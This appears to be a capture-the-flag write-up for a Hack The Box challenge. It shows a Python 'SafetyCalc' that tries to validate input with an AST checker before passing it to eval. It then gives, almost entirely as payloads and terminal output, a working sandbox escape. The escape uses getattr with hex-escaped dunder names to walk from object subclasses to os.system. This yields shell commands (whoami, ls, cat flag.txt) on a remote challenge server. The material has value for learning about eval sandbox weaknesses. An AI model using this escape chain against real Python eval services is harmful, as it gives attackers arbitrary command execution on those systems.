Tree of Danger

#!/usr/bin/env python3.10

import ast
import math
from typing import Union


def is_expression_safe(node: Union[ast.Expression, ast.AST]) -> bool:
    match type(node):
        case ast.Constant:
            return True
        case ast.List | ast.Tuple | ast.Set:
            return is_sequence_safe(node)
        case ast.Dict:
            return is_dict_safe(node)
        case ast.Name:
            return node.id == "math" and isinstance(node.ctx, ast.Load)
        case ast.UnaryOp:
            return is_expression_safe(node.operand)
        case ast.BinOp:
            return is_expression_safe(node.left) and is_expression_safe(node.right)
        case ast.Call:
            return is_call_safe(node)
        case ast.Attribute:
            return is_expression_safe(node.value)
        case _:
            return False


def is_sequence_safe(node: Union[ast.List, ast.Tuple, ast.Set]):
    return all(map(is_expression_safe, node.elts))


def is_dict_safe(node: ast.Dict) -> bool:
    for k, v in zip(node.keys, node.values):
        if not is_expression_safe(k) and is_expression_safe(v):
            return False
    return True


def is_call_safe(node: ast.Call) -> bool:
    if not is_expression_safe(node.func):
        return False
    if not all(map(is_expression_safe, node.args)):
        return False
    if node.keywords:
        return False
    return True


def is_safe(expr: str) -> bool:
    for bad in ['_']:
        if bad in expr:
            # Just in case!
            return False
    return is_expression_safe(ast.parse(expr, mode='eval').body)


if __name__ == "__main__":
    print("Welcome to SafetyCalc (tm)!\n"
          "Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc")  
    while True:
        ex = input("> ")
        if is_safe(ex):
            try:
                print(eval(ex, {'math': math, '__builtins__': {}, 'getattr': getattr}, {}))
            except Exception as e:
                print(f"Something bad happened! {e}")
        else:
            print("Unsafe command detected! The snake approaches...")
            exit(-1)

$ python3 -q
>>> help(getattr)
Help on built-in function getattr in module builtins:

getattr(...)
    getattr(object, name[, default]) -> value

    Get a named attribute from an object; getattr(x, 'y') is equivalent to x.y.  
    When a default argument is given, it is returned when the attribute doesn't
    exist; without it, an exception is raised in that case.

def is_dict_safe(node: ast.Dict) -> bool:
    for k, v in zip(node.keys, node.values):
        if not is_expression_safe(k) and is_expression_safe(v):  
            return False
    return True

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc  
> getattr()
Unsafe command detected! The snake approaches...

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr()}
Something bad happened! getattr expected at least 2 arguments, got 0

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc  
> {1: getattr(math, '\x5f\x5fclass\x5f\x5f')}
{1: <class 'module'>}

().__class__.__base__.__subclasses__()  

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()}
{1: [<class 'type'>, <class 'async_generator'>, <class 'int'>, <class 'bytearray_iterator'>, <class 'bytearray'>, <class 'bytes_iterator'>, <class 'bytes'>, <class 'builtin_function_or_method'>, <class 'callable_iterator'>, <class 'PyCapsule'>, <class 'cell'>, <class 'classmethod_descriptor'>, <class 'classmethod'>, <class 'code'>, <class 'complex'>, <class 'coroutine'>, <class 'dict_items'>, <class 'dict_itemiterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'dict_keys'>, <class 'mappingproxy'>, <class 'dict_reverseitemiterator'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_values'>, <class 'dict'>, <class 'ellipsis'>, <class 'enumerate'>, <class 'float'>, <class 'frame'>, <class 'frozenset'>, <class 'function'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'instancemethod'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'list'>, <class 'longrange_iterator'>, <class 'member_descriptor'>, <class 'memoryview'>, <class 'method_descriptor'>, <class 'method'>, <class 'moduledef'>, <class 'module'>, <class 'odict_iterator'>, <class 'pickle.PickleBuffer'>, <class 'property'>, <class 'range_iterator'>, <class 'range'>, <class 'reversed'>, <class 'symtable entry'>, <class 'iterator'>, <class 'set_iterator'>, <class 'set'>, <class 'slice'>, <class 'staticmethod'>, <class 'stderrprinter'>, <class 'super'>, <class 'traceback'>, <class 'tuple_iterator'>, <class 'tuple'>, <class 'str_iterator'>, <class 'str'>, <class 'wrapper_descriptor'>, <class 'types.GenericAlias'>, <class 'anext_awaitable'>, <class 'async_generator_asend'>, <class 'async_generator_athrow'>, <class 'async_generator_wrapped_value'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'managedbuffer'>, <class 'method-wrapper'>, <class 'types.SimpleNamespace'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'weakref.CallableProxyType'>, <class 'weakref.ProxyType'>, <class 'weakref.ReferenceType'>, <class 'types.UnionType'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class '_contextvars.Context'>, <class '_contextvars.ContextVar'>, <class '_contextvars.Token'>, <class 'Token.MISSING'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'collections.abc.AsyncIterable'>, <class 'collections.abc.Iterable'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class '_distutils_hack._TrivialRe'>, <class '_distutils_hack.DistutilsMetaFinder'>, <class '_distutils_hack.shim'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'importlib._abc.Loader'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.pairwise'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'operator.attrgetter'>, <class 'operator.itemgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.KeyWrapper'>, <class 'functools._lru_list_elem'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib.AsyncContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'ast.AST'>, <class 'ast.NodeVisitor'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing._TypeVarLike'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.NewType'>, <class 'typing.io'>, <class 'typing.re'>]}  

$ python3 util.py
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[137]}  
{1: <class 'os._wrap_close'>}

[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "'os." in str(x) ][0]['system']('ls')  

$ python3 util.py
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[137], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('whoami')}  
rocky
{1: 0}

$ nc 64.227.43.55 30570
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[137], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('whoami')}  
Something bad happened! 'wrapper_descriptor' object has no attribute '__globals__'
> ^C

$ nc 64.227.43.55 30570
Welcome to SafetyCalc (tm)!
Note: SafetyCorp are not liable for any accidents that may occur while using SafetyCalc
> {1: getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138]}
{1: <class 'os._wrap_close'>}
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('whoami')}
ctf
{1: 0}
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('ls')}
app
bin
boot
dev
etc
flag.txt
home
lib
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
{1: 0}
> {1: getattr(getattr(getattr(getattr(getattr((), '\x5f\x5fclass\x5f\x5f'), '\x5f\x5fbase\x5f\x5f'), '\x5f\x5fsubclasses\x5f\x5f')()[138], '\x5f\x5finit\x5f\x5f'), '\x5f\x5fglobals\x5f\x5f')['system']('cat flag.txt')}  
HTB{45ts_are_pretty_c00l!!!}
{1: 0}